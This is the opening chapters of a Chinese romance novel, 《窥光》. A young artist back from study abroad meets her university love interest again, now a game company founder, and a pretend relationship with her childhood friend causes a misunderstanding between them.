《窥光》
1. 1
十一月中旬,一场大雨轻快地带着潞城步入冬天。
周子辰和许余一起创业,毕业后的这几年没怎么捯饬过自己,这回同学聚会,翻遍衣柜竟然没找到几件合适的衣服。
“老大,其实我自己逛也行。”
周子辰没有驾照,又赶上下雨打不到车,他本来只是想蹭许余的车,没想到许余会“陪”他逛街。
“没事。”
“我保证速战速决,马上完成任务。”
周子辰站在指示牌边,一边郑重地发誓,一边快速浏览牌子上的男装品牌。恨不得能立刻找到一个不错的牌子,进店就买单,不耽误许余一点时间。
许余并不关注周子辰的那些心理活动,只是低头仔细看着朋友圈里的那张照片。
瘦了。
周子辰没注意到这个细节,快速定位了二楼的一家男装店,利索地买完衣服,刚准备跟着许余去B1的超市买牛奶,远远地看到一对情侣正在打情骂俏。
许余处理完收到的两个工作事项申请,收起手机顺着周子辰的目光看过去,一眼就看见了正在和男友打闹的纪声声。
准确地说,是和她的十年男友。
更准确地说,是他三年没见的“前任”。
此时此刻,他是一个站在阴暗角落的、被抛弃过的、旧的“第三者”。
纪声声转过头时,周子辰忽然看清了她的长相,惊讶得立刻闭嘴。
许余和纪声声的事情,他是知道一些的。
面对这样尴尬的场面,他觉得自己有责任化解:“老大,是隔壁美术学院那个,要去打个招呼吗?”
许余看向周子辰手指的方向。
纪声声。
和照片里一样,比大学时瘦了很多,宽松的连衣裙显得整个人更加单薄。
脸上的轮廓更清晰,脸颊上的梨涡比以前更加明显。
头发长及腰身,发尾有些凌乱的发丝不懂事地缠在邢星的手臂上。
“不用。”说完,许余平淡地收回目光,“不熟。”
纪声声在商场二楼买了个甜筒,又等了十来分钟,邢星才姗姗来迟。
她和邢星虽然大四时一同出国学习,但所在国家不同,距离很远,平时几乎不会见到,只有放假才会一同回国。
邢星又比她先回国两年,算起来他们已经一年半没见面了。
“纪声声,你真是我的天选对照组。”
远远看见纪声声准备走进一家女装店铺,邢星快步追赶,到她旁边后又顺手接过她肩上的包。
听见熟悉的声音,纪声声侧头看向邢星。
自她有记忆起,邢星从没守时过。
上学迟到、出门误机……种种种种,虽说两人经常不得不绑定一起出行,但她早已习惯抵达后先干自己的事情。
比起青梅竹马的形容,用最佳损友来表明她和邢星的关系更为恰当。
她和邢星从小在一个大院里长大,父母是同事兼好友,加之他们两个性格还算合得来,做事也比较有默契,父母一直有意撮合他们。
在不懂事的年纪,纪声声曾一度觉得邢星确实长得不错,是个帅哥。
在情窦初开时期受言情小说的影响,也曾幻想过青梅竹马在一起的情节,但她很快意识到,邢星除了一张脸还算拿得出手,其他可以说是劣迹斑斑。
比如,对于学校里身材发育较好的女生投递过来的青睐目光,他向来来者不拒,选择接触接触,然后又因为太过直男被人无情甩掉。
而一些他不太欣赏的人的示好,他则会搬出纪声声来挡枪,不论纪声声如何抗议。
一来二去,初高中时期的纪声声成了邢星的“编外女友”。
而他们之间实际并没有传言中的那么亲密,纪声声专注学业,懒得管邢星对外散播的谣言。
作为名声和收拾烂摊子的补偿,邢星则承包了纪声声的所有值日和不想参加的活动。
除此之外,还兼带初高中六年的全部早餐。
“我晚上还得骑车带你回家,你怎么不提。”
谈起往事,邢星有些委屈:“你知不知道我现在手上还有冻疮,都是冬天帮你扫雪扫的。我的加上你的,我一周要做两天值日!整整六年啊。”
不揭穿邢星手上长冻疮是因为他每次扫雪都跟同学打雪仗,还因为打雪仗忘记扫雪导致他俩一起在操场罚站,纪声声扫视一圈店里的衣服,想选一条喜欢的裙子:“你还被评选为校卫生队队长了呢,这大恩大德也没见你对我表示感谢。”
“那都是我辛辛苦苦一扫帚一扫帚扫出来的!”邢星气得要拍打纪声声的手臂,“我真是谢谢你了!”
“不客气。”纪声声快速闪过,躲开他的手,随后指着架子上的松绿色丝绒裙子,看向一旁等待的售货员,“您好,请帮我拿一条S码。”
一年多未见,邢星感觉纪声声对他的态度好像更加冷漠,完全没有“小别胜插刀”的情谊,就忍不住戳了戳纪声声的肩膀:“你对我是不是有点太冷淡了?”
“不要乱讲,”纪声声接过售货员递来的裙子,定睛看向对方,“我对你一直都这么冷淡。”
邢星:“……”
邢星有点郁闷,但看到纪声声脸颊上的那块凹陷,又不郁闷了。
那其实不是梨涡,而是一小块疤痕。
初中时他因为矮小瘦弱总被欺负,被人有意无意地撞一下,被在校门口索要零花钱,是纪声声帮他终结了那场噩梦。
现在邢星还记得那天,他已经给了钱,还是被人打掉了眼镜,低头找眼镜的时候又被打了一拳,站在那里完全忘记了还手。
是纪声声冲到他们中间,不知道哪里来的力气帮他一下一下地打回去。
然后,他们都负伤,都被找家长,但没人再欺负他。
不管怎么说,纪声声心里肯定是有他这个朋友的。
“……对了,你前一阵子说有好感的那位女同事怎么样了?”纪声声回想起来邢星长篇大论给她描述的故事,“我记得你还说,这一次一定改邪归正,努力提供情绪价值,好好处对象?”
邢星发来的消息太多,她又太忙,所以只点开看了一条,没关注到后续的发展。
“其实我觉得她人还挺有意思的,能处,”想起这件事,邢星还觉得有些生气,“我本来想着再暧昧暧昧,拉扯一番,结果她说我太幼稚了看见就烦。”
纪声声作思索状片刻:“……嗯,所以你又有新的目标了?”
“还没有,但正准备吃点窝边草,我现在觉得你……”
虽然知道邢星时在开玩笑,纪声声还是及时制止:“……别打我主意,我也嫌你幼稚。”
“也看见你就烦。”
“切。说好的二十五岁我未婚你未嫁……”
纪声声立刻制止他再提这件事:“幼儿园时候的事情,你再提我立刻把你这几年干的好事都告诉你妈妈。”
“别别,你快去试衣服吧祖宗。”邢星摆摆手,“我一会儿还得去送我奶奶去打牌。”
“你可以现在就走,但记得晚上九点左右要来接我。”
她住的地方晚上很难打车,所以和邢星提前约定好送她回家。
说完,纪声声就钻进试衣间,专心试衣服了。
国内的码数她遗忘太久了。在国外她可以穿S甚至XXS,在国内居然完全穿不进去。
确定她还需要一段时间,邢星接了个电话,转身走了。
周子辰收回目光。
虽然许余嘴上说着“不熟”“不用”,可是眼睛却一秒钟也没离开过纪声声。
他看着纪声声和男友又是拍胳膊,又是戳肩膀,各种肢体接触、嬉笑打闹,又看着许余不动声色地站在角落里旁观所有,他都觉得有些诡异地恐怖。
“老大,走吗?”
周子辰看见许余收回目光,小心翼翼地。
既然不熟,也不想打招呼,还见证了人家的甜蜜互动,无论如何,也没有再站在这里的理由。
“不走。”“熟人见面,总该打个招呼。”
许余给他清晰、肯定地回答。
……
晚上是美术学院和理工大学的联建校友聚会。
本来纪声声和邢星说好一起参加,这样无论是她去美术学院的场,邢星去理工大学的场,抑或共同去专门联谊的餐厅,都不会落单。
但是邢星今晚有事,没法到场,纪声声便决定自己去美术学院那边和老同学叙叙旧、聊聊天。
到此时,她都没想过会遇见许余。
一般情况下,许余都不会参加这种娱乐活动。许余对于社交几乎是毫无兴趣。
不过,就算遇见……
纪声声还没来得及想象这个画面,许余已经出现在她的视线内,就在她结账走出女装店的瞬间。
“嗨,纪声声。”周子辰原地挪动脚步,尴尬地和纪声声打招呼。
许余不走,他也不敢走。
许余能够做到看见纪声声以后双眼紧盯但一言不发,他没那么强大的心态,所以他先一步打了招呼。
据周子辰的了解,纪声声和许余至少是暧昧过
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的,还是在有男友的情况下。
虽然他一直专注代码世界,对于感情的事情了解不甚多,但在他的视角下,这种关系大约是老死不相往来更好。
周子辰没想到的是,纪声声几乎是立刻热情地回应:“好久不见,周子辰。”
周子辰看着纪声声挥舞着打招呼的手臂,有些僵硬地侧头看了眼许余。
许余的表情比他想象得还要难看。
正在他准备说些什么缓解尴尬的时候,他忽然看见纪声声冲着许余灿烂的一笑。
“许余,好久不见。”
……她怎么敢的啊!
“好久不见,”许余看着站在他对面,眼睛笑得弯成一条弧线,两个梨涡深深浅浅的女孩子,喊出她的名字,“纪声声。”
周子辰站在两个人旁边,不敢轻举妄动,甚至不敢呼吸。
“你们也来买东西吗?是不是还要去逛逛。”纪声声摆动手上的袋子,“我刚买完,这会儿就准备走了。”
“我们……”周子辰深呼吸一口气。
“正准备走。”许余打断他的思索。
周子辰:“……”
……不是要去买牛奶吗?
“那你们一会儿经过昱圣苑么?”纪声声看了眼时间,“可以带我一程么?”
周子辰咬着牙。
幸好他们完全不经过。
不然他可以想见那一路将会有多么难熬。
他正要摆摆手,抱歉地表示不同路,没想到许余已经将手机递给纪声声:“导航。”
“谢谢你,许余。”周子辰看着纪声声自然地接过许余的手机,又自然地解锁,最后自然地输入地址,又将手机交还给许余。
周子辰只觉得窒息。
等许余去开车时,周子辰将纪声声拉到一旁,小声地:“你怎么知道他手机密码的?”
“他学号啊,以前就是。”
说完,纪声声自己也愣住。
如果不是周子辰的话,她都没有意识到自己这么娴熟地用着许余的手机。
时隔三年了……
“那他万一换了呢?”周子辰带入一下场景,想想画面就脚趾抓地。
“那我就再问他。”纪声声不再纠结。
邢星走了以后,她尝试过打车,距离远、位置偏,再加上下雨,已经排队到一百多号。
所以,能搭上熟人的车的机会是非常难得且幸运的,即便对方是许余。
看着许余的车子朝他们开过来,周子辰抿着嘴,这里头水太深了,他最好还是少听少问少了解的好。
车子停在他们面前,周子辰拉开后座的门,绅士地让纪声声先上。
“不晕车了?”
纪声声刚要抬腿上车,许余从驾驶位回头看她。
“晕的。”纪声声点头,对周子辰表达完感谢以后,立刻拉开副驾的门,利落地上车。
“安全带。”许余看了她一眼。
“你能帮我系一下吗?”纪声声冲着许余伸出自己的右手,“我手指受伤了。”
周子辰看见纪声声的食指上裹着一圈厚厚的纱布,疑惑地:“这是怎么弄的?”
“切柠檬切到手了。”
话音刚落,许余已经俯身帮纪声声系上了安全带。
距离很近,纪声声看见许余垂下的睫毛,又在下一秒钟和许余眼神对视。
心跳还是漏了一拍……
无论什么时候,她都要承认,许余帅得让人挪不开眼睛。
尤其是当他的目光投向某个人时,总是让人有种被深情注视的错觉。
许余似乎察觉到了她的注视,非常适时地抬起眼皮,正正好和她对视。
纪声声迅速冷静下来。
“谢谢你。”纪声声眨眨眼,真诚地。
“不客气。”许余收回目光。
周子辰瞬间垂下眼睛。
这画面太诡异他不敢看。
纪声声输入的目的地离商场大概四个红绿灯,开过第二个红绿灯就是他们公司,周子辰犹豫要不要提前下车,将主场还给这两位旧人。
没让他纠结太久,许余已经将车子停在公司楼下,周子辰麻利地下了车。
“原来不顺路吗?”纪声声看了眼导航,“我从这里下车也可以,前面就是公交站了。”
因为住所地理位置不够好,她偶尔会蹭车,但从不强人所难。只有对方非常方便,她才会开口,事后往往也会给予对方等价的回报。
纪声声话音刚落,许余就俯身解开了她的安全带,示意她下车。
2. 2
“然后呢?”祝晓丹好奇地,“他不会真把你扔那儿了吧?”
“倒是没有。”
纪声声看着重新包扎过的食指。
手指是她回国前割伤的,已经有两三天。她自己上了碘酒,又包上纱布,看起来是没什么异样的。
当时她下车以后,许余将车子停在路边,走过她身边时说了一句“跟上”。
纪声声不明所以,但还是跟在对方身后。
她没想过许余会带她去他的公司。
已经下午五点钟,许余的游戏公司没有一点要下班的意思。
一路撞上许多探究和好奇的目光,纪声声回以友好地笑容,随后许余带着她到了公司的内部医务室。
“……你不会要亲自给我重新包扎吧?”纪声声疑惑地看着许余拿起桌上的镊子。
“你想得挺美。”许余微不可察地瞥了她一眼。
纪声声尴尬地没去看他:“……”
纪声声坐在医生对面,环顾四周。
许余的公司环境不错。
大约是因为到了晚餐时间,有专门的长桌摆放着水果、蛋糕和各类小吃。
纪声声看见餐桌条幅上写着“桃源美食周”。
等着医生检查的空隙,纪声声忍不住看向许余,欲言又止。
“说。”许余并没看她,但很快察觉到她的注视。
“……你们公司还招人吗?”
“怎么?”许余拉来一把椅子,坐在纪声声对面,“你在找工作?”
“对。”纪声声点头,“我能自荐一下吗?”
许余看着她头顶飞起的一小撮碎发:“嗯。”
“我会的事情不多,只有画画,之前和几个IP合作过,有一些口碑比较好的同人作品,不知道你们公司需不需要我这样的人才。”
纪声声想了想:“我有一份做好的简历和作品集,我先发你一份。”
许余盯着她额头的碎发,手机已经提示收到两条消息。
接收了文件,许余没有打开,而是瞥了一眼纪声声被医生剪开纱布的手指。
疤痕愈合得不好,伤口很深。
感受到许余的目光,医生知道眼前这位大约和老板关系不一般。了解了割伤的时间后,又仔细地询问:“伤口周边麻不麻?”
纪声声点头。
“破伤风打了吗?”
纪声声摇头。
“嗯,可能碰到神经了,不保证后续手指能完全恢复如初。”医生看向许余,解释情况,“现在需要打破伤风,伤口也需要缝针,可以好得快一些。”
纪声声迟疑:“在这里吗?”
看到医生点头,纪声声又转头看向许余,许余的表情更是不用多说——没有任何拒绝的余地。
打麻药比她给自己用碘酒杀菌的时候疼多了。
针头几乎是沿着她细长的伤口一路将麻药打了进去,把之前愈合的地方重新撑破,针尖划过肉芽的触感几乎像划过她的心脏一样令人战栗。
纪声声看向许余。许余在看着她的伤口。
疼过一阵,伤口就麻麻涨涨起来,接着她感受到针线穿过皮肉的拉扯,纪声声忍着没发出声音。
她在忍痛。
这一幕很少见,但许余曾经见过一次。
“疼?”许余抬起手,最终只是落在纪声声身后的椅背上。
“不疼。”纪声声摇头,随后轻轻舒出一口气,“麻药起效了。”
“嗯。”许余收回手,“所以,如果有岗位匹配……”
许余顿了顿,一双眼睛一瞬不瞬地盯着纪声声:“你来吗?”
听着纪声声描述后续,祝晓丹忍不住:“你怎么回答的?!”
纪声声回忆了一番:“我就实话实说‘我们留子是这样的,给饭就吃,不挑’。”
“那他是什么反应?”作为纪声声和许余故事的全程见证者,祝晓丹好奇地问。
“他没什么反应。”
她回答完,伤口处理得差不多,医生带她去旁边打破伤风针,随后许余就带她离开了。
“后来你们又说了什么吗?”祝晓丹翻找衣柜,想帮纪声声找一身参加聚会的衣服。
纪声声回忆了一番。
后来他们再次上车,临下车时,许余才又同她说话,问她出国这三年学了很多东西。
她则嘴比脑快,说出了最不该回答的句子。
“你回了什么?”
“我说……‘你也知道,我总是一身蛮劲儿没处使,就拿出来学东西咯’。”
祝晓丹不懂:“这句话有什么特别的?”
纪声声挠头:“……”
如果她没记错,三年前,她和许余的关系更进一步也是因为这样一句话。
那天他们两个学校开展共建联学,组织外出参观,在观展以后,又带他们去爬山。
她因为有事提前回到学校,刚处理好事情,就在宿舍楼门口看见许余送邵芸回来。
那晚她心情很不好,没带手机,独自在操场溜圈。
宿舍快关门的时候,她在操场碰见许余。许余看起来很着急,看见她的时候难得一副很生气的样子。
走到她面前,说话的语气也不太友好:“这么晚不回宿舍?”
“嗯,溜达。”她不想多说。
“白天爬山不累?”
说起爬山,她更难过。
他们相处这么久,她的主动和喜欢都很明显,一度她都以为许余喜欢她了,结果,许余最多只送她到学校大门。
而邵芸,此前她甚至不知道他们之间有交集。
“不累,我一身蛮劲儿没处使。”她说的是实话,也是气话。
她说完,许余许久都没开口。
等她抬头想看看许余的表情时,只看见许余轻轻叹气:“……那你往我这里使使。”
……
纪声声收起回忆。
祝晓丹觉得不太对劲:“你怎么表情变幻莫测的?你是不是还有事没和我说?”
“没什么事情,就算有天大的矛盾,三年也该翻篇了。”纪声声总结发言,“现在最重要的,是找一个兼职为我下次出去准备点积蓄。”
“所以,你没打算在许余那里找一份长期的工作?”
“没打算。”纪声声肯定地,“过段时间可能还得出去学习。”
“好吧。”祝晓丹把找出来的裙子递给纪声声,“你看看合适就穿这个,外面再套个大衣。”
换好以后,纪声声才忽然想起来……她是买了衣服的。
但是衣服呢……?
……在许余车上。
想到这里,纪声声赶紧掏出手机,给许余发了一条微信。
收到消息时,许余已经到了聚会的餐厅。
这是一场三年聚会,现场环境布置算是比较体面得当。
“……美术学院那边很多人在看你。”周子辰小声地。
许余停住脚步,回看过去,那些目光已经迅速收回,许余掏出手机查看消息。
是纪声声。
发来消息的目的是询问衣服是否落在他车上,并表示几分钟后就可以来拿。
等他坐到联谊餐厅的沙发上时,邵芸则自然地坐在他旁边。
“好久不见,大忙人。”邵芸同他打招呼。
许余点头,随后将目光投向大门的位置。没过几分钟,他就看见纪声声推开门并朝着他所在的方向看过来。
很快,纪声声就转身要退出去。
“纪声声?”他站起身,态度随意地阻止,“不是找我么?”
留学三年,她得到了很深刻的成长,面对许余本身,纪声声可以做到心如止水。
但是看见坐在许余旁边的邵芸,纪声声做不到十分淡定。
至少,她不想再和这些不快乐的事情沾边。
但是许余当着这么多人开口,她也只能大方地进去。
“好久不见。”她一一和现场的旧识们打招呼,到邵芸时,她也大方地招手。
邵芸是个体面人,冲她温和地笑着:“声声已经从小美女出落成大美女了。”
尽管和邵芸隔着许余这一层不愉快,但被对方夸奖,纪声声还是很开心,马上坐到邵芸旁边聊起天来。
“我记得声声还喜欢过许大神呢,幸好没追到,不然出国三年,分隔两地得多折磨人。”
开玩笑的人纪声声有一些印象,在她记忆中,这个人总是在不同场合说一些让大家为难的话而不自知。
正在她开口准备说些什么时,许余已经放下手机,目光在他们之间流转:“她追到了
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。”
不止追到,还轻而易举地得到了。
所以不珍惜。
说完,又看向开玩笑的人:“至于你,还是一如既往地不会说话。”
现场气氛降至冰点,源头是许余说话时不善的语气。意识到自己失言,对方很快滑跪道歉,其他人也跟着活跃气氛,这一段尴尬才算彻底平复。
回到自己学校的大厅,纪声声松了一口气。室友蒋晨晨奇怪她怎么去了那么久,纪声声则摆摆手:“去他们那边,注定是一场恶战。”
最后是许余结束了那个糟糕的场面。
衣服确实落在他车上了。聚会结束以后,许余会在停车场等她去拿。
老同学相聚,免不了要聊天。菜迟迟不上,纪声声饿得头昏脑热。实在忍不住才从包里掏出一个面包。
“你等一下。”蒋晨晨瞄了一眼保质期,“过期三天了。”
纪声声点点头,面包仍然往嘴里送着。
“……你在外面是不是受苦了?”看着她狼吞虎咽得样子,蒋晨晨忍不住。
“也没有。”纪声声摇摇头,“我吃过过期五天的也没事。”
“你们留子真是……吃苦耐劳啊。”
“那是。”纪声声骄傲地好像是在夸她。
聚餐结束以后,纪声声把蒋晨晨送上车,确认邢星已经快到达,才去停车场找许余拿衣服。
远远的,她就看见坐在后排的邵芸。
“非常感谢……”接过衣服袋子,纪声声和邵芸打了个招呼,就准备去和邢星汇合。
“你有人接吗?我们顺路带你一程?”邵芸好心地邀请。
“有的,谢谢你。”纪声声摆摆手,认真地回应。
“……冒昧问一句,”邵芸温柔地,“是男朋友吗?”
感受到许余投来的目光,纪声声随即点头:“是的。”
今时今日,此情此景,竟然莫名让她产生了许余送邵芸回宿舍那晚一样的心情。
“……还是那个邢星吗?十几年了吧,你们感情真好啊。”邵芸羡慕地。
纪声声点点头,就准备走人:“也祝福你们。”
是许余越过车窗,捉住了她的手腕。
“在一起十几年?”
纪声声没说话。
“祝福我们?”许余不放手,继续追问。
“是啊,发自真心地祝福。”事情发生得太过突然,纪声声口比脑快,“怎么?”
“没什么。”许余松开她,面色如常,“明天下午四点来面试,地址发你手机。”
纪声声坐上邢星的车子才长长地舒出一口气。
她的表现比想象中的好太多。这样发展下去,即便交集不可避免,她也完全可以和许余正常相处。
至少表面上是。
把她送到楼下,邢星看了眼日程:“明天去看画展?”
“你要鸽我?”纪声声警觉地。
“可以说是,但不完全是。”邢星在纪声声面前订好闹钟,以示自己的靠谱,“我明天顺路,可以带你过去,但是画展你自己去看啊,我有约会。”
“OK,你走吧。”
邢星刚离开,纪声声还没上楼,许余已经到她家楼下。
这是今天,她第一次仔细观察许余。和三年前比,许余肩膀宽了一些,比起之前的瘦削显得更加挺拔。
他大约是一直在健身的。
五官……倒是没怎么变。仍然是在人群中一眼就会看到的那个人。
“……你找我有事么?”纪声声不明白,“这么晚了。”
许余只是站在她对面看着她,表情分辨不出是什么情绪。
纪声声不知道他到底想看出些什么东西来。
“要是没事的话,我就先回去了,明天下午见。”说完,纪声声摆摆手,就打算麻利地转身上楼。
许余捉住了她的手腕,不让她离开。
“你祝福我?”
纪声声:“……”
……当面祝福还不够么?还要追过来私底下再要祝福。
“我祝福你们,幸福美满、天长地久……”纪声声看着许余松开了她的手腕,“我可以走了吗?”
“走吧。”
在进门前,纪声声从楼道的窗户往下看了一眼,许余还在原地站着。
3. 3
第二天一大早,纪声声收拾好准备出门时,楼下已经没有许余的身影,她不知道对方什么时候离开。
邢星难得准时准点来接她。坐上车以后,纪声声单手系好安全带,随后专心地开始吃早餐。
“昨天没发生什么不愉快的事情吧?”邢星看着导航,“那个聚会。”
“还好,没什么事情。”说完,纪声声突然想起什么,“你在你们学校的时候,也拿我当过挡箭牌吗?”
“没有啊。”邢星摸了摸鼻子,“你不是威胁我上大学以后老实点儿吗,所以我都是孤身上阵的,从没连带上你。”
“噢噢。”纪声声思考一番,“那我昨天可能犯错误了。”
“?”邢星不解。
“昨天有人调侃我追许余那事儿,再加上许余当时旁边坐着邵芸,后来被问谁来接我,……我就顺手拿你当挡箭牌来的。”
“嗨,我以为你干嘛了呢。”说着,邢星比了个赴汤蹈火的动作,“为兄弟两肋插刀。”
纪声声:“……你人真好。”
“你人也挺客气。”邢星一秒正经,“你和我说说,你是怎么表述的,咱们串一下口供。”
纪声声简单描述了一下当时的情景,又还原了一番当时的对话。邢星听了以后,琢磨琢磨感觉有些不对劲。
“所以,在许余的视角,你和我在一起的时候,追了他?”
纪声声仔细理顺逻辑:“也不能这么说吧,也完全有可能我们中间‘分手’了,我去追他,他没同意,我们又‘和好’了,对吧?”
而且,许余在接受她靠近的同时,还和邵芸纠缠不清呢。
“……这么说起来怎么好像你玩弄了许余似的?”快到展厅大门,邢星总结发言。
“那怎么可能呢。”她哪有那种本事。
……
纪声声上楼以后,许余在楼下站了一个多小时。
短短一天时间,他记不清纪声声做了什么,听不清她说了什么。只要纪声声出现的地方,他就想要靠近。
即便她有个青梅竹马的男朋友。
是十一月的晚风吹得他清醒了许多。
“你怎么突然想到回家?”成玉奇怪。
如果他没记错的话,许余从大学毕业以后就再没回过家了。
“回来拿些东西。”
成玉跟在许余身后上三楼,经过二楼的时候看见许余的继母。
显然,知道许余回家,她是最激动的。对她来说,这仿佛意味着一些恩怨的化解。
成玉和许余是高中同学,对于许余家里的事情他从来不提,但也知道一些。
许余的父亲是当地有名的实业家。准确来说是靠许余母亲这边的资源发家,加上个人也很有能力,这个家庭组合无论财力还是知名度都可以说是促成1+1>2的效果的。
说来也不少见,在功成名就以后,许余父亲的花边新闻也日渐多了起来。
许余高三时,父母婚姻破裂。闹到大三,母亲出国,继母以第三者的身份带着三个月的肚子进门。
长辈们之间的感情很难评价,仅有的几次接触,成玉看得出来许余继母一直很想努力和他搞好关系,尤其是在流产再不能生育以后。
等许余拿完东西,继母已经做好一桌饭菜,热情地招呼他吃过饭再走。
许余未置一词便朝着门口走去,成玉帮忙说了几句场面话,紧跟上了许余的步伐,没想到继母会拦在门口。
“许余,我想跟你谈几句,就这一次。”
成玉默默开门走出去,给许余留出决定的空间。
许余并未回答,继母则小心地开口。
“你高中的时候我就见过你,那个时候你比较小,阿姨有很多事情也不方便寻求你的理解。”
“现在你也长大了很多,感情这种事可能你也经历过一些。所以阿姨一直想着表达些什么来得到你的谅解……”
“我喜欢你父亲是一见钟情,那时候我不知道他有家庭和孩子。……感情这个事情真的很没有道理,后来我知道了,也很难受、很痛苦,几度想要抽离。”
许余面无表情地看着对方。
“……可是我控制不了自己,我没办法让自己主观上不去爱他。在遇到你父亲之前我也是一个道德感很高的人,我对于第三者也是嫉恶如仇的心情,可是真碰见心爱的人,我控制不了自己,我只能认了。”
“说完了?”
不想再听下去,许余推门走了出去。
车里的沉默像钝刀子割肉一样折磨着成玉。
他是不愿深入了解许余父母这边的家务事的,毕竟那些属于过去。
作为朋友,非要操心,他也只想操心许余和纪声声的感情问题,毕竟这是他真情实感嗑过的第一对现实CP。
“我听说某人回来了?”
道路有些拥堵,成玉随意地刷着朋友圈,一眼看见了纪声声出现在其他同学的合照里。
他以为,许余不至于小气到因为纪声声出国留学就要老死不相往来的程度。
“嗯。”前方车子开始涌动,许余面无表情地启动车子。
“她走了以后,你也一直单身,现在人回来了,你没有继续联系的打算?”
作为CP粉,成玉苦口婆心地:“我是感觉声声这个女孩子不错,她那时候喜欢你,满心满眼都是你,对你多好啊,而且你确实也没怎么回应,人家伤心了、出国了,这些行为都可以理解。”
“而且换位思考,你现在去追她也完全没有问题。”
说着说着,成玉瞥了一眼时间,突然反应过来,才想起问:“不是着急去谈周边开发的事情吗?都快九点了。”
“你也知道什么是正事。”
成玉听出来,这意思是让他少多管闲事。
“好好好,我不说了。好像我愿意管你似的。”成玉抱着手臂,“要是让我遇见纪声声那么真诚的小姑娘,我早抓牢了。”
“下午四点,她来公司面试,你去面。”许余平稳地停在红灯前,“给你机会抓。”
成玉抓狂:“……我的意思是要是有个人像她对你那样对我,我肯定抓。这情况我抓什么抓,我俩又没有感情基础。”
他说完以后,许余一直沉默。
等车子停在地入车库,成玉才听见许余平淡地开口。
“她有男朋友。”
成玉习惯型反驳:“那怎么了?”
“我不会当第三者。”
成玉闭上嘴。
第三者破坏了许余的家庭,他自然对第三者这样一个身份恨之入骨。
“你从家里拿的那个东西,不会是要给纪声声的吧?”成玉看着许余手里的盒子,转移话题。
“嗯。”
准确地说,是“还”。
里面装着纪声声去偏远贫困地区支教时给他写过的所有信件,一共12封。纪声声出国以后,他把这些东西“丢”在了以为永远不会再去的家里。
如今是物归原主。
然后。然后就不要再有更多联系。
“你想清楚了。”看到许余似乎下定了某种决心,成玉好心地提醒,“你要是把纪声声好多年前给你的东西还给她,可真算你主动‘恩断义绝’了。她心里要是还有你,肯定会很伤心。”
……伤心?
那是最好不过了。
……
纪声声一个人在画展闲逛,既是找灵感,也是寻觅一些适合收藏的作品。
在一幅名为《初见》的油画前,她想起第一次见到许余的时候。
那是大三暑假前。
美术学院的宿舍没有空调,一顶电扇吹得人身上又热又黏,她本身就一把子力气没地方用,又在宿舍炎热难耐,就报名了美院和隔壁理工大学的合唱大赛。
目的并不十分单纯,其中一个重要原因是可以吹练习室的空调。
她报道的那天,许余是老师临时拉来的钢琴伴奏。
老师用很多头衔来介绍许余,纪声声一个也没有听进去。
她唯一能确定的是,许余站在人群中,就诠释了什么叫做鹤立鸡群。
许余很高,很白,身形瘦削,称得上肩宽腿长。头发剪得干净利落,弹琴的手指也骨节分明。
仔细盯着看都挑不出任何缺点。
实际上,排练的每一天她都盯着许余看。有时会被许余发现,但她也比较坦然。
她是美术生,观察下衣服的褶皱、手指骨节、弹琴的动作,只是出于习惯,她是这样和自己解释。
有更深一步的接触是被许余发现她五音不全、节奏感差劲。
被单独留下来学习的几个夜晚,她被许余折磨得不行。但许余严格归严格,训练结束以后,还会很好心地送她到美院大门。
虽然两校之间路途不长,不过十几分钟,但更多地接触很快拉进了他们之间的距离。
纪声声一直是个很直白的人,感觉到自己对许余有好感,便大方地表述。
尽管没有得到许余的回应,纪声声也是毫不犹豫地开始了主动追求。
她关心许余的生活,了解他的日常安排,出现在他会出现的每一个活动,努力表现自己的优秀,去争取许余的喜欢。
最后就是……以这么潦草的方式收场。
不过她也不觉得后悔。
对于生活中出现的一切,她只想体验过程,并不奢望最终拥有。
所以和许余这一段,对于她来说,已经很精彩饱满。
记录了一些灵感后,纪声声到周边的餐厅去吃了川菜,等待邢星来接她。
“你下午去面试?”和妈妈介绍的美女吃完相亲饭,邢星身心舒畅,“用不用我接?”
“不
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用。”纪声声思考一番,“有件事情我想再和你说一下。你要是有date的对象了,咱们就立刻拉开距离,千万别让别人误会,耽误你的终身大事。”
“我看你怎么巴不得我赶紧有对象呢。”听到这么生分的话,邢星咬牙切齿地。
“你说得没错,我一定是全世界最希望你立刻脱单的人。”纪声声对天发誓。
“没有我,你去哪儿都得打车。”邢星立刻指出自己的用处。
纪声声则掏出手机:“我明天就去报名,一个月拿下驾照,以后就不劳烦你了。”
“……你真是气死我了。你别忘了你的手还没好,一个月你可学不完。”
说完,邢星有些苦闷,赌气地:“我觉得和别人吃饭也就那么回事,要是你不愿意和我一块儿了,那我也不想和别人一起。”
纪声声一个头两个大:“?你最好别整这出啊,小心我跟你绝交。”
“你先回答我一个问题。”邢星沉默几秒,“我和许余,你觉得谁长得更好看?”
“许余。”纪声声实话实说。
“如果许余就之前的事情跟你道歉,你还会不会跟他和好?”邢星又追问。
“你说问我一个问题的,我为什么要回答第二个。”
邢星气得牙痒痒,避免迟到,纪声声没再说更多,而是解开安全带,下车走人。
虽然已经把简历和作品集发给许余,但她仍然打印了一份随身带着。
下午三点半,她准时出现在了许余公司的门口,在前台登记访客以后,被带着到办公室等待。
她三年没见许余,也三年没见成玉了。
“好久不见~”
成玉是许余所有朋友里,她最喜欢的一个。
“庆祝你平安学成归来,拥抱一下!”成玉大方地张开双手,纪声声也大方地回应。
抱过纪声声以后,成玉心里有点打鼓。幸好许余不在,不然不知道他会不会多想……想到这里,成玉心里更加忐忑。
简单了解了纪声声的简历,成玉眼前一亮又一亮。
纪声声的作品风格是暗黑又阴湿的,和他们公司正在开发悬疑游戏画风很贴合。而且其中有几个IP衍生图很出圈,有几张他还收藏过。
……要不是有些离谱,他都怀疑许余是特意为了留住纪声声才开发现在这款游戏。
“你有什么想法吗?”介绍了可以提供的岗位和工作内容以后,成玉看向纪声声。
“我好像忘记说,我只能兼职。”纪声声仔细思索,尽可能详细回应,“像你刚才说的短期开发游戏周边的合作,我是可以试试。但是长期的应该不行。”
“你还有别的职业发展规划?”成玉不明白。
“不是的,只是我这次可能不会在国内待很久。”纪声声坦白,随后认真地,“不过我能保证合作期如期保质保量的交稿。”
“我能冒昧问一句,你打算待多久么?”
“三个月到半年。”
她最终大概率会留在国内发展,但那边有一项有关中国画的研究,还要出版相关的书目,她很想参与,已经和导师约定好,这次再去,起码要待三个月的时间。
“我想再冒昧问一句,”成玉笑不出来了,“你这次回来是……临时决定的么?”
“是的,有一些私人事情需要处理一下。”
等纪声声走了以后,成玉找许余沟通后续。
看见盒子还在许余桌子上,成玉纳闷儿地:“你不是说还?再不还她就下楼了。”
“说重点。”许余懒得看他一眼。
